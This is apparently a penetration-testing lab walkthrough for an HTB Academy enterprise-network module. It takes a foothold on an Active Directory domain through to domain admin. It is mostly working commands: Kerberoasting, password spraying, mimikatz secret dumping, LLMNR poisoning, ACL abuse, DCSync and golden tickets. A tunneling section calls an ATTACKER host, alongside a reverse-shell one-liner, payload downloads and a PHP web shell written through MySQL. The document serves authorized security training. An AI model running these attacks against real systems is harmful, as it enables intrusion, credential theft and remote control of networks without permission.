Attacking Enterprise Networks — Lateral Movement to Domain
A worked chain for the HTB Academy Attacking Enterprise Networks module
(domain INLANEFREIGHT.LOCAL), from a foothold on the internal staging host
through lateral movement, credential hunting, local privilege escalation, and
pillage — extended with the ACL-abuse, tunneling, and database-exploitation
moves the same box sets up. Every internal action rides the DMZ01 SOCKS pivot.
[!warning] Authorized targets only This is a lab walkthrough against an HTB range. Run these techniques only where you have explicit written permission. Password resets, admin additions, ticket forging, and coercion are loud and stateful — get client sign-off and log every credential, target change, and rollback for the report appendix.
[!note] Placeholders are not fabricated Three values in this chain are redacted because they must be pulled live: backupadm’s password (in the backup script), backupjob’s cracked hash (Kerberoast), and
flag.txt. Each is tagged to the exact command that yields it — nothing here invents a lab answer.
The board
| Host | Role | Address |
|---|---|---|
| DMZ01 | External DMZ, SSH pivot / SOCKS | 10.129.203.111 |
| DEV01 | DotNetNuke, staging, RDP as hporter | 172.16.8.20 |
| DC01 | Domain Controller (SMB / LDAP) | 172.16.8.3 |
| MS01 | Member / SQL box, WinRM 5985 | 172.16.8.50 |
Credentials looted along the way. Italicised entries are still to be pulled or cracked.
| Account | Secret | Source |
|---|---|---|
| hporter | Gr8hambino! | LSA secrets on DEV01 |
| ssmalls | Str0ngpass86! | set via ForceChangePassword |
| backupadm | in SQL Express Backup.ps1 | IT share (Q1) |
| account | L337^p@$$w0rD | adum.vbs, likely stale |
| backupjob | crack the TGS-REP | Kerberoast (Q2) |
| kdenunez / mmertle | Welcome1 | password spray |
| frontdesk | ILFreightLobby! | AD description field |
| ilfserveradm | Sys26Admin | unattend.xml on MS01 |
| mssqladm | DBAilfreight1! | LSA / autologon on MS01 |
| mpalledorous | crack the NetNTLMv2 | Inveigh capture (Q4) |
[!tip] Set these once The commands below use the concrete lab addresses, but keep an env block handy so nothing is ambiguous when you switch hosts.
export DC="172.16.8.3" # DC01
export DEV="172.16.8.20" # DEV01 (RDP foothold)
export MS="172.16.8.50" # MS01 (WinRM / SQL)
export DOMAIN="INLANEFREIGHT.LOCAL"
export PIVOT="10.129.203.111" # DMZ01
# proxychains SOCKS lives at 127.0.0.1:8083
Kill chain
1. BloodHound recon
Collect every object, then hunt object-control edges. No evasion needed here.
# On DEV01 (upload via the DNN file manager)
SharpHound.exe -c All
SharpHound.exe -c All -d INLANEFREIGHT.LOCAL --zipfilename ilfreight
# Or collect remotely over the pivot — no shell on the target needed
proxychains bloodhound-python -u ssmalls -p 'Str0ngpass86!' \
-d inlanefreight.local -ns 172.16.8.3 -c All --zip
# Ingest
sudo neo4j start
bloodhound # drag the .zip in, then Analysis
[!tip] What to look for Select hporter and open First Degree Object Control:
hporter --[ForceChangePassword]--> ssmalls. Also noteDomain Users --[CanRDP]--> DEV01— a medium-risk Excessive AD Group Privileges finding.
2. Lateral movement — ForceChangePassword
hporter can reset ssmalls without knowing the old password.
# PowerView on DEV01
Import-Module .\PowerView.ps1
Set-DomainUserPassword -Identity ssmalls `
-AccountPassword (ConvertTo-SecureString 'Str0ngpass86!' -AsPlainText -Force) -Verbose
# Or from Linux, no RDP
proxychains net rpc password ssmalls 'Str0ngpass86!' \
-U 'INLANEFREIGHT/hporter%Gr8hambino!' -S 172.16.8.3
# Confirm
proxychains crackmapexec smb 172.16.8.3 -u ssmalls -p 'Str0ngpass86!'
See ACL abuse below for every other edge BloodHound might hand you.
3. Pivoting and RDP
Everything internal rides DMZ01: a dynamic forward feeds proxychains, a local forward carries RDP.
# Dynamic SOCKS for proxychains (matches 127.0.0.1:8083)
ssh -i dmz01_key -D 8083 root@10.129.203.111
# Confirm RDP, then tunnel it: 127.0.0.1:13389 -> DEV01:3389
proxychains nmap -sT -p 3389 172.16.8.20
ssh -i dmz01_key -L 13389:172.16.8.20:3389 root@10.129.203.111
# Connect with drive redirection (share your tools dir)
xfreerdp /v:127.0.0.1:13389 /u:hporter /p:'Gr8hambino!' /drive:home,"/home/tester/tools"
# On the target: move tools across the redirected drive
net use # \\TSCLIENT\home
copy \\TSCLIENT\home\PowerView.ps1 .
copy .\ilfreight_spns.csv \\TSCLIENT\home
Full pivoting reference: Tunneling toolbox and Stage 10 — Lateral Movement, Pivoting, and Loot.
4. Share hunting
Iterate per user — permissions differ. This is where Q1 lives.
# Snaffler from the DEV01 RDP session
Snaffler.exe -s -d inlanefreight.local -o snaffler.log -v data
# NetExec / CME spider — map a share without RDP
proxychains crackmapexec smb 172.16.8.3 -u ssmalls -p 'Str0ngpass86!' \
-M spider_plus --share 'Department Shares'
# output -> /tmp/cme_spider_plus/172.16.8.3.json
# Grab the file (mind the spaces)
proxychains smbclient -U ssmalls '//172.16.8.3/Department Shares'
# smb> cd IT\Private\Development\
# smb> get "SQL Express Backup.ps1"
# -> $mySrvConn.Password = "<backupadm password = Q1>"
[!tip] Do not grab SYSVOL blind List it recursively first, and always hunt GPP cpassword — the AES key is public.
impacket-smbclient 'INLANEFREIGHT/ssmalls:Str0ngpass86!@172.16.8.3'
# use SYSVOL -> recurse on -> ls (note every .ps1 / .vbs / .bat / .xml)
impacket-Get-GPPPassword 'INLANEFREIGHT/ssmalls:Str0ngpass86!@172.16.8.3'
proxychains crackmapexec smb 172.16.8.3 -u ssmalls -p 'Str0ngpass86!' -M gpp_password
5. Kerberoasting
Request TGS tickets for every SPN account and crack offline. Q2 = crack backupjob.
# PowerView on DEV01
Import-Module .\PowerView.ps1
Get-DomainUser * -SPN | Select samaccountname
Get-DomainUser * -SPN -Verbose | Get-DomainSPNTicket -Format Hashcat `
| Export-Csv .\ilfreight_spns.csv -NoTypeInformation
# Impacket over the pivot (all SPNs, or just backupjob)
proxychains impacket-GetUserSPNs -dc-ip 172.16.8.3 \
INLANEFREIGHT.LOCAL/ssmalls:'Str0ngpass86!' -request
proxychains impacket-GetUserSPNs -dc-ip 172.16.8.3 \
INLANEFREIGHT.LOCAL/ssmalls:'Str0ngpass86!' -request-user backupjob -outputfile spns.hash
# Crack the TGS-REP (RC4 = mode 13100)
hashcat -m 13100 ilfreight_spns /usr/share/wordlists/rockyou.txt
More: Stage 05 — Kerberos Attacks.
6. Password spraying
One weak password across many users. Check lockout policy first.
proxychains crackmapexec smb 172.16.8.3 -u ssmalls -p 'Str0ngpass86!' --pass-pol
# DomainPasswordSpray auto-pulls the user list from the domain
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password Welcome1 -OutFile sprayed.txt
# SUCCESS: kdenunez / mmertle
# Kerbrute — fast, no lockout on failed pre-auth
proxychains kerbrute passwordspray -d inlanefreight.local --dc 172.16.8.3 users.txt Welcome1
7. Credential hunting (misc)
# Autologon creds in SYSVOL Registry.xml (GPP)
proxychains crackmapexec smb 172.16.8.3 -u ssmalls -p 'Str0ngpass86!' -M gpp_autologin
# Passwords in AD description fields
proxychains crackmapexec ldap 172.16.8.3 -u ssmalls -p 'Str0ngpass86!' -M get-desc-users
Get-DomainUser * | select samaccountname,description | ?{$_.Description -ne $null}
# frontdesk : ILFreightLobby!
8. WinRM foothold
Loop every credential set against any host with 5985 open. backupadm lands on MS01.
proxychains nmap -sT -p 5985 172.16.8.50 # wsman open
proxychains evil-winrm -i 172.16.8.50 -u backupadm -p '<backupadm-pass>'
[!note] Double-hop problem From an Evil-WinRM shell, network auth does not forward. Enumerate with an explicit PSCredential object.
$pass = ConvertTo-SecureString 'Str0ngpass86!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\ssmalls',$pass)
Get-DomainUser -Credential $cred -SPN | select samaccountname
9. Local privesc on MS01
Answer-file creds, then abuse an insecure service to hit SYSTEM. Q3 = flag.txt on the Administrator Desktop.
# Hunt install answer files for cleartext passwords
type C:\panther\unattend.xml
Get-ChildItem C:\ -Include *unattend*,*sysprep*,Autounattend.xml -File -Recurse -EA 0
# -> ilfserveradm : Sys26Admin (local user, Remote Desktop, NOT admin)
[!tip] Sysax Automation scheduled-task privesc The Sysax service runs as SYSTEM. A triggered task with “Login as the following user” unchecked runs the payload as SYSTEM.
echo net localgroup administrators ilfserveradm /add > C:\Users\ilfserveradm\Documents\pwn.bat
# In sysaxschedscp.exe (C:\Program Files (x86)\SysaxAutomation):
# Setup Scheduled/Triggered Tasks -> Add task (Triggered)
# Monitor folder: C:\Users\ilfserveradm\Documents ; Run: ...\pwn.bat
# UNCHECK "Login as the following user" -> Finish -> Save
# Trigger by dropping a new .txt into the monitored folder
net localgroup administrators # ilfserveradm now listed
type "C:\Users\Administrator\Desktop\flag.txt" # Q3
[!note] Keep in your back pocket
SeImpersonate-> PrintSpoofer / GodPotato (as used earlier on DMZ01), unquoted service paths, and writable service binaries. Run WinPEAS if nothing obvious surfaces. See Windows Privilege Escalation.
10. Post-exploitation and pillage
Now local admin: dump secrets, browser creds, and poison for hashes. Q4 = crack mpalledorous.
# mimikatz -- elevate to SYSTEM, dump LSA secrets
mimikatz.exe
log
privilege::debug
token::elevate
lsadump::secrets
# $MACHINE.ACC · DPAPI_SYSTEM · NL$KM · DefaultPassword: DBAilfreight1!
# Resolve the autologon username for that DefaultPassword
Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\' -Name DefaultUserName
# DefaultUserName : mssqladm -> mssqladm : DBAilfreight1!
# Saved browser / app creds
lazagne.exe all
# Poison LLMNR/NBT-NS and capture inbound auth
Import-Module .\Inveigh.ps1
Invoke-Inveigh -ConsoleOutput Y -FileOutput Y
# NTLMv2 captured for ACADEMY-AEN-DEV\mpalledorous from 172.16.8.20
# Crack the capture (NetNTLMv2 = mode 5600) ; grab the KeePass DB too
hashcat -m 5600 mpalledorous.ntlmv2 /usr/share/wordlists/rockyou.txt # Q4
keepass2john Inlanefreight.kdbx > kdbx.hash
hashcat -m 13400 kdbx.hash /usr/share/wordlists/rockyou.txt
ACL abuse — object-control edges
ForceChangePassword is one edge. When BloodHound puts any of these on a path, here is the move. Deep dive: Stage 06 — ACL and Object Abuse.
| Edge | Grants | Abuse |
|---|---|---|
| GenericAll | full control of object | reset pw · targeted roast · shadow creds |
| GenericWrite | write most attributes | set SPN then targeted Kerberoast |
| WriteDACL | edit the object ACL | grant yourself DCSync |
| WriteOwner | set the owner | own it then WriteDACL then rights |
| AddMember | edit group membership | add yourself to the group |
| AllExtendedRights | all extended rights | ForceChangePassword · DCSync · read LAPS |
| AddKeyCredentialLink | write msDS-KeyCredentialLink | Shadow Credentials (no pw reset) |
| ReadGMSAPassword | read the gMSA blob | recover the managed account pw |
# AddMember / GenericAll on a group -> add yourself
proxychains bloodyAD -d inlanefreight.local -u ssmalls -p 'Str0ngpass86!' \
--host 172.16.8.3 add groupMember 'Help Desk' ssmalls
# WriteDACL on the domain -> grant DCSync, then pull hashes
proxychains impacket-dacledit -action write -rights DCSync -principal ssmalls \
-target-dn 'DC=INLANEFREIGHT,DC=LOCAL' 'INLANEFREIGHT/ssmalls:Str0ngpass86!'
proxychains impacket-secretsdump -just-dc INLANEFREIGHT/ssmalls:'Str0ngpass86!'@172.16.8.3
# AddKeyCredentialLink -> Shadow Credentials (auth as target, no password change)
proxychains certipy-ad shadow auto -u ssmalls@inlanefreight.local -p 'Str0ngpass86!' -account target
# GenericWrite on a user -> targeted Kerberoast (set fake SPN, roast, clean up)
Set-DomainObject -Identity target -Set @{serviceprincipalname='fake/svc'} -Verbose
Get-DomainUser target -SPN | Get-DomainSPNTicket -Format Hashcat
Set-DomainObject -Identity target -Clear serviceprincipalname
Tunneling toolbox
SSH did the job here; keep these for when there is no SSH or you need the whole subnet routed. See Tunneling & Pivoting.
ssh -D 8083 user@pivot # dynamic SOCKS -> proxychains
ssh -L 13389:172.16.8.20:3389 user@pivot # local: reach one internal port
ssh -R 8083 user@attacker # remote: pivot dials back to you
# /etc/proxychains.conf -> [ProxyList]
# socks5 127.0.0.1 8083 (nmap over it: -sT -Pn only)
# chisel (reverse SOCKS when there is no SSH)
./chisel server -p 8080 --reverse # attacker
./chisel client ATTACKER:8080 R:socks # victim
# ligolo-ng (tun interface, no proxychains)
./proxy -selfcert # attacker
./agent -connect ATTACKER:11601 -ignore-cert # victim ; then session -> start -> add route
# sshuttle (VPN-like over SSH)
sshuttle -r root@10.129.203.111 172.16.8.0/24 --ssh-cmd "ssh -i dmz01_key"
# Windows pivot without SSH
netsh interface portproxy add v4tov4 listenport=13389 connectport=3389 connectaddress=172.16.8.20
plink.exe -R 8083 user@ATTACKER
File transfer and shells
Getting tools onto a host and a shell back. On DEV01 you also have the DNN file manager and RDP drive redirection. See Foothold — File Transfers and Shells, Payloads, Metasploit.
# Delivery server
python3 -m http.server 8000
impacket-smbserver share . -smb2support
# Linux pull + catch a reverse shell
wget http://ATTACKER:8000/linpeas.sh -O /tmp/lp.sh
rlwrap nc -lvnp 443
bash -i >& /dev/tcp/ATTACKER/443 0>&1
python3 -c 'import pty;pty.spawn("/bin/bash")' # then Ctrl-Z ; stty raw -echo; fg
# Windows pull
iwr -Uri http://ATTACKER:8000/nc.exe -OutFile nc.exe
certutil -urlcache -split -f http://ATTACKER:8000/nc.exe nc.exe
copy \\ATTACKER\share\PowerView.ps1 .
copy \\TSCLIENT\home\tool.exe . # via RDP drive redirect
MySQL exploitation
Full lifecycle on port 3306: discover, auth, enumerate, dump hashes, read/write files, RCE.
nmap -sV -p3306 --script mysql-info,mysql-empty-password,mysql-users,mysql-databases,mysql-dump-hashes <ip>
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt <ip> mysql
mysql -u root -h <ip> -P 3306 -p'<pass>'
mysql -u root -h <ip> --skip-ssl -p # if TLS handshake errors
-- Enumerate
SELECT version(); SELECT user(); SELECT system_user();
SELECT grantee, privilege_type FROM information_schema.user_privileges;
SHOW GRANTS; -- look for FILE / SUPER / ALL
SHOW databases; USE <db>; SHOW tables; SELECT * FROM <table>;
-- Dump password hashes (crack: 300 = MySQL4.1+, 200 = mysql323)
SELECT user, authentication_string FROM mysql.user; -- 5.7 / 8.x
SELECT User, Password FROM mysql.user; -- legacy < 5.7
-- FILE privilege -> read / write
SHOW VARIABLES LIKE 'secure_file_priv'; -- '' = anywhere ; NULL = disabled
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('C:/inetpub/wwwroot/web.config'); -- DB creds live here
SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/var/www/html/sh.php';
-- RCE via UDF (root + writable plugin dir)
SHOW VARIABLES LIKE 'plugin_dir';
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('id > /tmp/o; chmod 777 /tmp/o');
# sqlmap / metasploit shortcuts
sqlmap -u 'http://site/p?id=1' --batch --dbs
sqlmap -u 'http://site/p?id=1' --os-shell # FILE priv + writable webroot
msf> use auxiliary/scanner/mysql/mysql_hashdump
msf> use exploit/multi/mysql/mysql_udf_payload
MSSQL exploitation
This box’s real path — you hold mssqladm : DBAilfreight1!. Mirrors the “web.config -> SQL service account -> local admin -> DA logged in” story. Port 1433.
proxychains nmap -sV -p1433 --script ms-sql-info,ms-sql-ntlm-info 172.16.8.50
proxychains crackmapexec mssql 172.16.8.50 -u mssqladm -p 'DBAilfreight1!' -q "SELECT @@version"
proxychains impacket-mssqlclient INLANEFREIGHT/mssqladm:'DBAilfreight1!'@172.16.8.50 -windows-auth
-- Recon
SELECT @@version; SELECT system_user; SELECT is_srvrolemember('sysadmin');
SELECT name FROM sys.databases; SELECT name FROM master..syslogins;
-- Command exec via xp_cmdshell
EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXEC xp_cmdshell 'whoami'; -- impacket shortcut: enable_xp_cmdshell
-- Coerce the SQL service account NetNTLM (start responder/Inveigh first)
EXEC master..xp_dirtree '\\10.10.14.5\share',1,1;
-- Escalate inside SQL: impersonation + linked servers
EXECUTE AS LOGIN='sa'; SELECT system_user;
EXEC sp_linkedservers;
EXEC ('sp_configure ''xp_cmdshell'',1; reconfigure; exec xp_cmdshell ''whoami''') AT [SQL02];
[!note] SQL service to SYSTEM The SQL service runs with
SeImpersonatePrivilege— chainxp_cmdshellinto PrintSpoofer / GodPotato forNT AUTHORITY\SYSTEMon the SQL host, the exact “local admin on a SQL box” outcome the module describes.
Road to Domain Admin
Where the module leaves off. All loud and high-impact — confirm scope, log everything.
# AS-REP roast (accounts with pre-auth disabled)
proxychains impacket-GetNPUsers -dc-ip 172.16.8.3 INLANEFREIGHT.LOCAL/ -usersfile users.txt -request
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt
# Pass-the-Hash with an NTLM from lsadump
proxychains impacket-psexec -hashes :<NTLM> INLANEFREIGHT/administrator@172.16.8.50
proxychains evil-winrm -i 172.16.8.50 -u administrator -H <NTLM>
# DCSync -> pull krbtgt / any hash
proxychains impacket-secretsdump -just-dc-user krbtgt INLANEFREIGHT/<user>:'<pass>'@172.16.8.3
# Golden ticket (persistence once you hold the krbtgt hash)
proxychains impacket-ticketer -nthash <KRBTGT> -domain-sid <S-1-5-21-...> \
-domain INLANEFREIGHT.LOCAL Administrator
# Mark cracked users Owned, then run BloodHound "Shortest Paths to Domain Admins from Owned Principals"
Get-DomainComputer -Unconstrained | select name
Get-DomainUser -TrustedToAuth | select samaccountname,msds-allowedtodelegateto
Hashcat modes for this chain
| Mode | Hash | Seen at |
|---|---|---|
| 13100 | Kerberoast TGS-REP (RC4) | step 5, backupjob |
| 19600 / 19700 | Kerberoast (AES128 / 256) | step 5, AES-only SPNs |
| 18200 | AS-REP roast | Road to DA |
| 5600 | NetNTLMv2 | step 10, mpalledorous |
| 1000 | NTLM | lsadump / SAM |
| 13400 | KeePass (.kdbx) | step 10 loot |
| 300 / 200 | MySQL 4.1+ / mysql323 | MySQL mysql.user |
| 1731 / 132 | MSSQL 2012-2014 / 2005 | MSSQL syslogins |
Findings logged
Every technique doubles as a client finding.
| Finding | Evidence | Risk |
|---|---|---|
| Excessive AD group privileges | Domain Users can RDP to DEV01 | Medium |
| Weak Kerberos config (Kerberoasting) | SPN accounts, backupjob cracked | High |
| Weak / reused AD passwords | Welcome1 spray hits | Medium |
| Passwords in AD description field | frontdesk : ILFreightLobby! | Medium |
| Sensitive data on file shares | SQL Express Backup.ps1, adum.vbs | Medium |
| Cleartext creds in unattend.xml | ilfserveradm : Sys26Admin | High |
| Insecure service permissions | Sysax scheduled task to SYSTEM | High |
| LLMNR / NBT-NS poisoning | Inveigh captured NTLMv2 | High |
Related notes
- HTB Attack Flow Playbook — the full staged workflow this chain draws on.
- Appendix — Worked Chains — more compact end-to-end examples.
- Stage 05 — Kerberos Attacks · Stage 06 — ACL and Object Abuse · Stage 10 — Lateral Movement, Pivoting, and Loot
- Password Attacks and Credential Hunting · Windows Privesc